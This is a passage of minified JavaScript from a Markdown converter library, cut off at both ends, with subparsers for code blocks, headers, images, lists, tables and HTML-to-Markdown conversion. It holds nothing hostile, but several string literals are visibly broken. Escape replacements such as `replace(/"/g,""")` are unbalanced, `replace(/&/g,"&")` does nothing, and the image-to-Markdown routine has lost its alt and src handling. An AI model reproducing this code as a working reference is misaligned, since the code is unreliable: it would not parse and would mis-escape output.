{0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g,function(e,r,a,t){var n=o.omitExtraWLInCodeBlocks?"":"\n";return t=y.subParser("encodeCode")(t,o,s),t="<pre><code"+(a?' class="'+a+" language-"+a+'"':"")+">"+(t=(t=(t=y.subParser("detab")(t,o,s)).replace(/^\n+/g,"")).replace(/\n+$/g,""))+n+"</code></pre>",t=y.subParser("hashBlock")(t,o,s),"\n\n\xa8G"+(s.ghCodeBlocks.push({text:e,codeblock:t})-1)+"G\n\n"})).replace(/\xa80/,""),s.converter._dispatch("githubCodeBlocks.after",e,o,s)):e}),y.subParser("hashBlock",function(e,r,a){return e=(e=a.converter._dispatch("hashBlock.before",e,r,a)).replace(/(^\n+|\n+$)/g,""),e="\n\n\xa8K"+(a.gHtmlBlocks.push(e)-1)+"K\n\n",e=a.converter._dispatch("hashBlock.after",e,r,a)}),y.subParser("hashCodeTags",function(e,o,s){e=s.converter._dispatch("hashCodeTags.before",e,o,s);var i=function i(e,r,a,t){var n=a+y.subParser("encodeCode")(r,o,s)+t;return"\xa8C"+(s.gHtmlSpans.push(n)-1)+"C"};return e=y.helper.replaceRecursiveRegExp(e,i,"<code\\b[^>]*>","</code>","gim"),e=s.converter._dispatch("hashCodeTags.after",e,o,s)}),y.subParser("hashElement",function(e,r,t){return function(e,r){var a=r;return a=(a=(a=a.replace(/\n\n/g,"\n")).replace(/^\n/,"")).replace(/\n+$/g,""),a="\n\n\xa8K"+(t.gHtmlBlocks.push(a)-1)+"K\n\n"}}),y.subParser("hashHTMLBlocks",function(e,r,o){e=o.converter._dispatch("hashHTMLBlocks.before",e,r,o);var a=["pre","div","h1","h2","h3","h4","h5","h6","blockquote","table","dl","ol","ul","script","noscript","form","fieldset","iframe","math","style","section","header","footer","nav","article","aside","address","audio","canvas","figure","hgroup","output","video","p"],s=function s(e,r,a,t){var n=e;return-1!==a.search(/\bmarkdown\b/)&&(n=a+o.converter.makeHtml(r)+t),"\n\n\xa8K"+(o.gHtmlBlocks.push(n)-1)+"K\n\n"};r.backslashEscapesHTMLTags&&(e=e.replace(/\\<(\/?[^>]+?)>/g,function(e,r){return"<"+r+">"}));for(var t=0;t<a.length;++t)for(var n,i=new RegExp("^ {0,3}(<"+a[t]+"\\b[^>]*>)","im"),l="<"+a[t]+"\\b[^>]*>",c="</"+a[t]+">";-1!==(n=y.helper.regexIndexOf(e,i));){var u=y.helper.splitAtIndex(e,n),d=y.helper.replaceRecursiveRegExp(u[1],s,l,c,"im");if(d===u[1])break;e=u[0].concat(d)}return e=e.replace(/(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,y.subParser("hashElement")(e,r,o)),e=(e=y.helper.replaceRecursiveRegExp(e,function(e){return"\n\n\xa8K"+(o.gHtmlBlocks.push(e)-1)+"K\n\n"},"^ {0,3}\x3c!--","--\x3e","gm")).replace(/(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ \t]*(?=\n{2,}))/g,y.subParser("hashElement")(e,r,o)),e=o.converter._dispatch("hashHTMLBlocks.after",e,r,o)}),y.subParser("hashHTMLSpans",function(e,r,a){function t(e){return"\xa8C"+(a.gHtmlSpans.push(e)-1)+"C"}return e=(e=(e=(e=(e=a.converter._dispatch("hashHTMLSpans.before",e,r,a)).replace(/<[^>]+?\/>/gi,function(e){return t(e)})).replace(/<([^>]+?)>[\s\S]*?<\/\1>/g,function(e){return t(e)})).replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g,function(e){return t(e)})).replace(/<[^>]+?>/gi,function(e){return t(e)}),e=a.converter._dispatch("hashHTMLSpans.after",e,r,a)}),y.subParser("unhashHTMLSpans",function(e,r,a){e=a.converter._dispatch("unhashHTMLSpans.before",e,r,a);for(var t=0;t<a.gHtmlSpans.length;++t){for(var n=a.gHtmlSpans[t],o=0;/\xa8C(\d+)C/.test(n);){var s=RegExp.$1;if(n=n.replace("\xa8C"+s+"C",a.gHtmlSpans[s]),10===o)break;++o}e=e.replace("\xa8C"+t+"C",n)}return e=a.converter._dispatch("unhashHTMLSpans.after",e,r,a)}),y.subParser("hashPreCodeTags",function(e,o,s){e=s.converter._dispatch("hashPreCodeTags.before",e,o,s);var i=function i(e,r,a,t){var n=a+y.subParser("encodeCode")(r,o,s)+t;return"\n\n\xa8G"+(s.ghCodeBlocks.push({text:e,codeblock:n})-1)+"G\n\n"};return e=y.helper.replaceRecursiveRegExp(e,i,"^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>","^ {0,3}</code>\\s*</pre>","gim"),e=s.converter._dispatch("hashPreCodeTags.after",e,o,s)}),y.subParser("headers",function(e,l,c){e=c.converter._dispatch("headers.before",e,l,c);var u=isNaN(parseInt(l.headerLevelStart))?1:parseInt(l.headerLevelStart),r=l.smoothLivePreview?/^(.+)[ \t]*\n={2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n=+[ \t]*\n+/gm,a=l.smoothLivePreview?/^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n-+[ \t]*\n+/gm;e=(e=e.replace(r,function(e,r){var a=y.subParser("spanGamut")(r,l,c),t=l.noHeaderId?"":' id="'+d(r)+'"',n="<h"+u+t+">"+a+"</h"+u+">";return y.subParser("hashBlock")(n,l,c)})).replace(a,function(e,r){var a=y.subParser("spanGamut")(r,l,c),t=l.noHeaderId?"":' id="'+d(r)+'"',n=u+1,o="<h"+n+t+">"+a+"</h"+n+">";return y.subParser("hashBlock")(o,l,c)});var t=l.requireSpaceBeforeHeadingText?/^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm:/^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;function d(e){var r,a;if(l.customizedHeaderId){var t=e.match(/\{([^{]+?)}\s*$/);t&&t[1]&&(e=t[1])}return r=e,a=y.helper.isString(l.prefixHeaderId)?l.prefixHeaderId:!0===l.prefixHeaderId?"section-":"",l.rawPrefixHeaderId||(r=a+r),r=l.ghCompatibleHeaderId?r.replace(/ /g,"-").replace(/&/g,"").replace(/\xa8T/g,"").replace(/\xa8D/g,"").replace(/[&+$,\/:;=?@"#{}|^\xa8~\[\]`\\*)(%.!'<>]/g,"").toLowerCase():l.rawHeaderId?r.replace(/ /g,"-").replace(/&/g,"&").replace(/\xa8T/g,"\xa8").replace(/\xa8D/g,"$").replace(/["']/g,"-").toLowerCase():r.replace(/[^\w]/g,"").toLowerCase(),l.rawPrefixHeaderId&&(r=a+r),c.hashLinkCounts[r]?r=r+"-"+c.hashLinkCounts[r]++:c.hashLinkCounts[r]=1,r}return e=e.replace(t,function(e,r,a){var t=a;l.customizedHeaderId&&(t=a.replace(/\s?\{([^{]+?)}\s*$/,""));var n=y.subParser("spanGamut")(t,l,c),o=l.noHeaderId?"":' id="'+d(a)+'"',s=u-1+r.length,i="<h"+s+o+">"+n+"</h"+s+">";return y.subParser("hashBlock")(i,l,c)}),e=c.converter._dispatch("headers.after",e,l,c)}),y.subParser("horizontalRule",function(e,r,a){e=a.converter._dispatch("horizontalRule.before",e,r,a);var t=y.subParser("hashBlock")("<hr />",r,a);return e=(e=(e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,t)).replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm,t)).replace(/^ {0,2}( ?_){3,}[ \t]*$/gm,t),e=a.converter._dispatch("horizontalRule.after",e,r,a)}),y.subParser("images",function(e,r,p){function l(e,r,a,t,n,o,s,i){var l=p.gUrls,c=p.gTitles,u=p.gDimensions;if(a=a.toLowerCase(),i||(i=""),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))t="";else if(""===t||null===t){if(""!==a&&null!==a||(a=r.toLowerCase().replace(/ ?\n/g," ")),t="#"+a,y.helper.isUndefined(l[a]))return e;t=l[a],y.helper.isUndefined(c[a])||(i=c[a]),y.helper.isUndefined(u[a])||(n=u[a].width,o=u[a].height)}r=r.replace(/"/g,""").replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback);var d='<img src="'+(t=t.replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'" alt="'+r+'"';return i&&y.helper.isString(i)&&(d+=' title="'+(i=i.replace(/"/g,""").replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'"'),n&&o&&(d+=' width="'+(n="*"===n?"auto":n)+'"',d+=' height="'+(o="*"===o?"auto":o)+'"'),d+=" />"}return e=(e=(e=(e=(e=(e=p.converter._dispatch("images.before",e,r,p)).replace(/!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,function c(e,r,a,t,n,o,s,i){return l(e,r,a,t=t.replace(/\s/g,""),n,o,0,i)})).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,l)).replace(/!\[([^\[\]]+)]()()()()()/g,l),e=p.converter._dispatch("images.after",e,r,p)}),y.subParser("italicsAndBold",function(e,r,a){function t(e,r,a){return r+e+a}return e=a.converter._dispatch("italicsAndBold.before",e,r,a),e=r.literalMidWordUnderscores?(e=(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,r){return t(r,"<strong><em>","</em></strong>")})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,r){return t(r,"<strong>","</strong>")})).replace(/\b_(\S[\s\S]*?)_\b/g,function(e,r){return t(r,"<em>","</em>")}):(e=(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,r){return/\S$/.test(r)?t(r,"<strong><em>","</em></strong>"):e})).replace(/__(\S[\s\S]*?)__/g,function(e,r){return/\S$/.test(r)?t(r,"<strong>","</strong>"):e})).replace(/_([^\s_][\s\S]*?)_/g,function(e,r){return/\S$/.test(r)?t(r,"<em>","</em>"):e}),e=r.literalMidWordAsterisks?(e=(e=e.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g,function(e,r,a){return t(a,r+"<strong><em>","</em></strong>")})).replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g,function(e,r,a){return t(a,r+"<strong>","</strong>")})).replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g,function(e,r,a){return t(a,r+"<em>","</em>")}):(e=(e=e.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g,function(e,r){return/\S$/.test(r)?t(r,"<strong><em>","</em></strong>"):e})).replace(/\*\*(\S[\s\S]*?)\*\*/g,function(e,r){return/\S$/.test(r)?t(r,"<strong>","</strong>"):e})).replace(/\*([^\s*][\s\S]*?)\*/g,function(e,r){return/\S$/.test(r)?t(r,"<em>","</em>"):e}),e=a.converter._dispatch("italicsAndBold.after",e,r,a)}),y.subParser("lists",function(e,p,u){function h(e,r){u.gListLevel++,e=e.replace(/\n{2,}$/,"\n");var a=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80| {0,3}([*+-]|\d+[.])[ \t]+))/gm,c=/\n[ \t]*\n(?!\xa80)/.test(e+="\xa80");return p.disableForced4SpacesIndentedSublists&&(a=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80|\2([*+-]|\d+[.])[ \t]+))/gm),e=(e=e.replace(a,function(e,r,a,t,n,o,s){s=s&&""!==s.trim();var i=y.subParser("outdent")(n,p,u),l="";return o&&p.tasklists&&(l=' class="task-list-item" style="list-style-type: none;"',i=i.replace(/^[ \t]*\[(x|X| )?]/m,function(){var e='<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';return s&&(e+=" checked"),e+=">"})),i=i.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g,function(e){return"\xa8A"+e}),i="<li"+l+">"+(i=(i=r||-1<i.search(/\n{2,}/)?(i=y.subParser("githubCodeBlocks")(i,p,u),y.subParser("blockGamut")(i,p,u)):(i=(i=y.subParser("lists")(i,p,u)).replace(/\n$/,""),i=(i=y.subParser("hashHTMLBlocks")(i,p,u)).replace(/\n\n+/g,"\n\n"),c?y.subParser("paragraphs")(i,p,u):y.subParser("spanGamut")(i,p,u))).replace("\xa8A",""))+"</li>\n"})).replace(/\xa80/g,""),u.gListLevel--,r&&(e=e.replace(/\s+$/,"")),e}function f(e,r){if("ol"===r){var a=e.match(/^ *(\d+)\./);if(a&&"1"!==a[1])return' start="'+a[1]+'"'}return""}function g(e){return"ul"===e?' style="list-style: disc !important;padding: 0px 0px 0px 40px !important;"':' style="list-style: decimal !important;padding: 0px 0px 0px 40px !important;"'}function n(t,n,o){var s=p.disableForced4SpacesIndentedSublists?/^ ?\d+\.[ \t]/gm:/^ {0,3}\d+\.[ \t]/gm,i=p.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \t]/gm:/^ {0,3}[*+-][ \t]/gm,l="ul"===n?s:i,c="",u=g(n);if(-1!==t.search(l))!function d(e){var r=e.search(l),a=f(t,n);u=g(n),-1!==r?(c+="\n\n<"+n+u+a+">\n"+h(e.slice(0,r),!!o)+"</"+n+">\n",l="ul"===(n="ul"===n?"ol":"ul")?s:i,d(e.slice(r))):c+="\n\n<"+n+u+a+">\n"+h(e,!!o)+"</"+n+">\n"}(t);else{var e=f(t,n);c="\n\n<"+n+u+e+">\n"+h(t,!!o)+"</"+n+">\n"}return c}return e=u.converter._dispatch("lists.before",e,p,u),e+="\xa80",e=(e=u.gListLevel?e.replace(/^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,r,a){return n(r,-1<a.search(/[*+-]/g)?"ul":"ol",!0)}):e.replace(/(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,r,a,t){return n(a,-1<t.search(/[*+-]/g)?"ul":"ol",!1)})).replace(/\xa80/,""),e=u.converter._dispatch("lists.after",e,p,u)}),y.subParser("metadata",function(e,r,t){if(!r.metadata)return e;function n(e){(e=(e=(t.metadata.raw=e).replace(/&/g,"&").replace(/"/g,""")).replace(/\n {4}/g," ")).replace(/^([\S ]+): +([\s\S]+?)$/gm,function(e,r,a){return t.metadata.parsed[r]=a,""})}return e=(e=(e=(e=t.converter._dispatch("metadata.before",e,r,t)).replace(/^\s*\xab\xab\xab+(\S*?)\n([\s\S]+?)\n\xbb\xbb\xbb+\n/,function(e,r,a){return n(a),"\xa8M"})).replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/,function(e,r,a){return r&&(t.metadata.format=r),n(a),"\xa8M"})).replace(/\xa8M/g,""),e=t.converter._dispatch("metadata.after",e,r,t)}),y.subParser("outdent",function(e,r,a){return e=(e=(e=a.converter._dispatch("outdent.before",e,r,a)).replace(/^(\t|[ ]{1,4})/gm,"\xa80")).replace(/\xa80/g,""),e=a.converter._dispatch("outdent.after",e,r,a)}),y.subParser("paragraphs",function(e,r,a){for(var t=(e=(e=(e=a.converter._dispatch("paragraphs.before",e,r,a)).replace(/^\n+/g,"")).replace(/\n+$/g,"")).split(/\n{2,}/g),n=[],o=t.length,s=0;s<o;s++){var i=t[s];0<=i.search(/\xa8(K|G)(\d+)\1/g)?n.push(i):0<=i.search(/\S/)&&(i=(i=y.subParser("spanGamut")(i,r,a)).replace(/^([ \t]*)/g,"<p>"),i+="</p>",n.push(i))}for(o=n.length,s=0;s<o;s++){for(var l="",c=n[s],u=!1;/\xa8(K|G)(\d+)\1/.test(c);){var d=RegExp.$1,p=RegExp.$2;l=(l="K"===d?a.gHtmlBlocks[p]:u?y.subParser("encodeCode")(a.ghCodeBlocks[p].text,r,a):a.ghCodeBlocks[p].codeblock).replace(/\$/g,"$$$$"),c=c.replace(/(\n\n)?\xa8(K|G)\d+\2(\n\n)?/,l),/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(c)&&(u=!0)}n[s]=c}return e=(e=(e=n.join("\n")).replace(/^\n+/g,"")).replace(/\n+$/g,""),a.converter._dispatch("paragraphs.after",e,r,a)}),y.subParser("runExtension",function(e,r,a,t){if(e.filter)r=e.filter(r,t.converter,a);else if(e.regex){var n=e.regex;n instanceof RegExp||(n=new RegExp(n,"g")),r=r.replace(n,e.replace)}return r}),y.subParser("spanGamut",function(e,r,a){return e=a.converter._dispatch("spanGamut.before",e,r,a),e=y.subParser("codeSpans")(e,r,a),e=y.subParser("escapeSpecialCharsWithinTagAttributes")(e,r,a),e=y.subParser("encodeBackslashEscapes")(e,r,a),e=y.subParser("images")(e,r,a),e=y.subParser("anchors")(e,r,a),e=y.subParser("autoLinks")(e,r,a),e=y.subParser("simplifiedAutoLinks")(e,r,a),e=y.subParser("emoji")(e,r,a),e=y.subParser("underline")(e,r,a),e=y.subParser("italicsAndBold")(e,r,a),e=y.subParser("strikethrough")(e,r,a),e=y.subParser("ellipsis")(e,r,a),e=y.subParser("hashHTMLSpans")(e,r,a),e=y.subParser("encodeAmpsAndAngles")(e,r,a),r.simpleLineBreaks?/\n\n\xa8K/.test(e)||(e=e.replace(/\n+/g,"<br />\n")):e=e.replace(/ +\n/g,"<br />\n"),e=a.converter._dispatch("spanGamut.after",e,r,a)}),y.subParser("strikethrough",function(e,t,n){return t.strikethrough&&(e=(e=n.converter._dispatch("strikethrough.before",e,t,n)).replace(/(?:~){2}([\s\S]+?)(?:~){2}/g,function(e,r){return function a(e){return t.simplifiedAutoLink&&(e=y.subParser("simplifiedAutoLinks")(e,t,n)),"<del>"+e+"</del>"}(r)}),e=n.converter._dispatch("strikethrough.after",e,t,n)),e}),y.subParser("stripLinkDefinitions",function(e,i,l){var c=function c(e,r,a,t,n,o,s){return r=r.toLowerCase(),a.match(/^data:.+?\/.+?;base64,/)?l.gUrls[r]=a.replace(/\s/g,""):l.gUrls[r]=y.subParser("encodeAmpsAndAngles")(a,i,l),o?o+s:(s&&(l.gTitles[r]=s.replace(/"|'/g,""")),i.parseImgDimensions&&t&&n&&(l.gDimensions[r]={width:t,height:n}),"")};return e=(e=(e=(e+="\xa80").replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=\xa80)|(?=\n\[))/gm,c)).replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=\xa80))/gm,c)).replace(/\xa80/,"")}),y.subParser("tables",function(e,_,b){if(!_.tables)return e;function r(e){var r,a=e.split("\n");for(r=0;r<a.length;++r)/^ {0,3}\|/.test(a[r])&&(a[r]=a[r].replace(/^ {0,3}\|/,"")),/\|[ \t]*$/.test(a[r])&&(a[r]=a[r].replace(/\|[ \t]*$/,"")),a[r]=y.subParser("codeSpans")(a[r],_,b);var t,n,o,s,i,l=a[0].split("|").map(function(e){return e.trim()}),c=a[1].split("|").map(function(e){return e.trim()}),u=[],d=[],p=[],h=[];for(a.shift(),a.shift(),r=0;r<a.length;++r)""!==a[r].trim()&&u.push(a[r].split("|").map(function(e){return e.trim()}));if(l.length<c.length)return e;for(r=0;r<c.length;++r)p.push((t=c[r],/^:[ \t]*--*$/.test(t)?' style="text-align:left;"':/^--*[ \t]*:[ \t]*$/.test(t)?' style="text-align:right;"':/^:[ \t]*--*[ \t]*:$/.test(t)?' style="text-align:center;"':""));for(r=0;r<l.length;++r)y.helper.isUndefined(p[r])&&(p[r]=""),d.push((n=l[r],o=p[r],s=void 0,s="",n=n.trim(),(_.tablesHeaderId||_.tableHeaderId)&&(s=' id="'+n.replace(/ /g,"_").toLowerCase()+'"'),"<th"+s+o+">"+(n=y.subParser("spanGamut")(n,_,b))+"</th>\n"));for(r=0;r<u.length;++r){for(var f=[],g=0;g<d.length;++g)y.helper.isUndefined(u[r][g]),f.push((i=u[r][g],"<td"+p[g]+">"+y.subParser("spanGamut")(i,_,b)+"</td>\n"));h.push(f)}return function m(e,r){for(var a="<table>\n<thead>\n<tr>\n",t=e.length,n=0;n<t;++n)a+=e[n];for(a+="</tr>\n</thead>\n<tbody>\n",n=0;n<r.length;++n){a+="<tr>\n";for(var o=0;o<t;++o)a+=r[n][o];a+="</tr>\n"}return a+="</tbody>\n</table>\n"}(d,h)}return e=(e=(e=(e=b.converter._dispatch("tables.before",e,_,b)).replace(/\\(\|)/g,y.helper.escapeCharactersCallback)).replace(/^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|\xa80)/gm,r)).replace(/^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|\xa80)/gm,r),e=b.converter._dispatch("tables.after",e,_,b)}),y.subParser("underline",function(e,r,a){return r.underline?(e=a.converter._dispatch("underline.before",e,r,a),e=(e=r.literalMidWordUnderscores?(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,r){return"<u>"+r+"</u>"})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,r){return"<u>"+r+"</u>"}):(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,r){return/\S$/.test(r)?"<u>"+r+"</u>":e})).replace(/__(\S[\s\S]*?)__/g,function(e,r){return/\S$/.test(r)?"<u>"+r+"</u>":e})).replace(/(_)/g,y.helper.escapeCharactersCallback),e=a.converter._dispatch("underline.after",e,r,a)):e}),y.subParser("unescapeSpecialChars",function(e,r,a){return e=(e=a.converter._dispatch("unescapeSpecialChars.before",e,r,a)).replace(/\xa8E(\d+)E/g,function(e,r){var a=parseInt(r);return String.fromCharCode(a)}),e=a.converter._dispatch("unescapeSpecialChars.after",e,r,a)}),y.subParser("makeMarkdown.blockquote",function(e,r){var a="";if(e.hasChildNodes())for(var t=e.childNodes,n=t.length,o=0;o<n;++o){var s=y.subParser("makeMarkdown.node")(t[o],r);""!==s&&(a+=s)}return a="> "+(a=a.trim()).split("\n").join("\n> ")}),y.subParser("makeMarkdown.codeBlock",function(e,r){var a=e.getAttribute("language"),t=e.getAttribute("precodenum");return"```"+a+"\n"+r.preList[t]+"\n```"}),y.subParser("makeMarkdown.codeSpan",function(e){return"`"+e.innerHTML+"`"}),y.subParser("makeMarkdown.emphasis",function(e,r){var a="";if(e.hasChildNodes()){a+="*";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r);a+="*"}return a}),y.subParser("makeMarkdown.header",function(e,r,a){var t=new Array(a+1).join("#"),n="";if(e.hasChildNodes()){n=t+" ";for(var o=e.childNodes,s=o.length,i=0;i<s;++i)n+=y.subParser("makeMarkdown.node")(o[i],r)}return n}),y.subParser("makeMarkdown.hr",function(){return"---"}),y.subParser("makeMarkdown.image",function(e){var r="";return e.hasAttribute("src")&&(r+="+">",e.hasAttribute("width")&&e.hasAttribute("height")&&(r+=" ="+e.getAttribute("width")+"x"+e.getAttribute("height")),e.hasAttribute("title")&&(r+=' "'+e.getAttribute("title")+'"'),r+=")"),r}),y.subParser("makeMarkdown.links",function(e,r){var a="";if(e.hasChildNodes()&&e.hasAttribute("href")){var t=e.childNodes,n=t.length;a="[";for(var o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r);a+="](",a+="<"+e.getAttribute("href")+">",e.hasAttribute("title")&&(a+=' "'+e.getAttribute("title")+'"'),a+=")"}return a}),y.subParser("makeMarkdown.list",function(e,r,a){var t="";if(!e.hasChildNodes())return"";for(var n=e.childNodes,o=n.length,s=e.getAttribute("start")||1,i=0;i<o;++i)if("undefined"!=typeof n[i].tagName&&"li"===n[i].tagName.toLowerCase()){t+=("ol"===a?s.toString()+". ":"- ")+y.subParser("makeMarkdown.listItem")(n[i],r),++s}return(t+="\n\x3c!-- --\x3e\n").trim()}),y.subParser("makeMarkdown.listItem",function(e,r){for(var a="",t=e.childNodes,n=t.length,o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r);return/\n$/.test(a)?a=a.split("\n").join("\n ").replace(/^ {4}$/gm,"").replace(/\n\n+/g,"\n\n"):a+="\n",a}),y.subParser("makeMarkdown.node",function(e,r,a){a=a||!1;var t="";if(3===e.nodeType)return y.subParser("makeMarkdown.txt")(e,r);if(8===e.nodeType)return"\x3c!--"+e.data+"--\x3e\n\n";if(1!==e.nodeType)return"";switch(e.tagName.toLowerCase()){case"h1":a||(t=y.subParser("makeMarkdown.header")(e,r,1)+"\n\n");break;case"h2":a||(t=y.subParser("makeMarkdown.header")(e,r,2)+"\n\n");break;case"h3":a||(t=y.subParser("makeMarkdown.header")(e,r,3)+"\n\n");break;case"h4":a||(t=y.subParser("makeMarkdown.header")(e,r,4)+"\n\n");break;case"h5":a||(t=y.subParser("makeMarkdown.header")(e,r,5)+"\n\n");break;case"h6":a||(t=y.subParser("makeMarkdown.header")(e,r,6)+"\n\n");break;case"p":a||(t=y.subParser("makeMarkdown.paragraph")(e,r)+"\n\n");break;case"blockquote":a||(t=y.subParser("makeMarkdown.blockquote")(e,r)+"\n\n");break;case"hr":a||(t=y.subParser("makeMarkdown.hr")(e,r)+"\n\n");break;case"ol":a||(t=y.subParser("makeMarkdown.list")(e,r,"ol")+"\n\n");break;case"ul":a||(t=y.subParser("makeMarkdown.list")(e,r,"ul")+"\n\n");break;case"precode":a||(t=y.subParser("makeMarkdown.codeBlock")(e,r)+"\n\n");break;case"pre":a||(t=y.subParser("makeMarkdown.pre")(e,r)+"\n\n");break;case"table":a||(t=y.subParser("makeMarkdown.table")(e,r)+"\n\n");break;case"code":t=y.subParser("makeMarkdown.codeSpan")(e,r);break;case"em":case"i":t=y.subParser("makeMarkdown.emphasis")(e,r);break;case"strong":case"b":t=y.subParser("makeMarkdown.strong")(e,r);break;case"del":t=y.subParser("makeMarkdown.strikethrough")(e,r);break;case"a":t=y.subParser("makeMarkdown.links")(e,r);break;case"img":t=y.subParser("makeMarkdown.image")(e,r);break;default:t=e.outerHTML+"\n\n"}return t}),y.subParser("makeMarkdown.paragraph",function(e,r){var a="";if(e.hasChildNodes())for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r);return a=a.trim()}),y.subParser("makeMarkdown.pre",function(e,r){var a=e.getAttribute("prenum");return"<pre>"+r.preList[a]+"</pre>"}),y.subParser("makeMarkdown.strikethrough",function(e,r){var a="";if(e.hasChildNodes()){a+="~~";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r);a+="~~"}return a}),y.subParser("makeMarkdown.strong",function(e,r){var a="";if(e.hasChildNodes()){a+="**";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r);a+="**"}return a}),y.subParser("makeMarkdown.table",function(e,r){var a,t,n="",o=[[],[]],s=e.querySelectorAll("thead>tr>th"),i=e.querySelectorAll("tbody>tr");for(a=0;a<s.length;++a){var l=y.subParser("makeMarkdown.tableCell")(s[a],r),c="---";if(s[a].hasAttribute("style"))switch(s[a].getAttribute("style").toLowerCase().replace(/\s/g,"")){case"text-align:left;":c=":---";break;case"text-align:right;":c="---:";break;case"text-align:center;":c=":---:"}o[0][a]=l.trim(),o[1][a]=c}for(a=0;a<i.length;++a){var u=o.push([])-1,d=i[a].getElementsByTagName("td");for(t=0;t<s.length;++t){var p=" ";"undefined"!=typeof d[t]&&(p=y.subParser("makeMarkdown.tableCell")(d[t],r)),o[u].push(p)}}var h=3;for(a=0;a<o.length;++a)for(t=0;t<o[a].length;++t){var f=o[a][t].length;h<f&&(h=f)}for(a=0;a<o.length;++a){for(t=0;t<o[a].length;++t)1===a?":"===o[a][t].slice(-1)?o[a][t]=y.helper.padEnd(o[a][t].slice(-1),h-1,"-")+":":o[a][t]=y.helper.padEnd(o[a][t],h,"-"):o[a][t]=y.helper.padEnd(o[a][t],h);n+="| "+o[a].join(" | ")+" |\n"}return n.trim()}),y.subParser("makeMarkdown.tableCell",function(e,r){var a="";if(!e.hasChildNodes())return"";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=y.subParser("makeMarkdown.node")(t[o],r,!0);return a.trim()}),y.subParser("makeMarkdown.txt",function(e){var 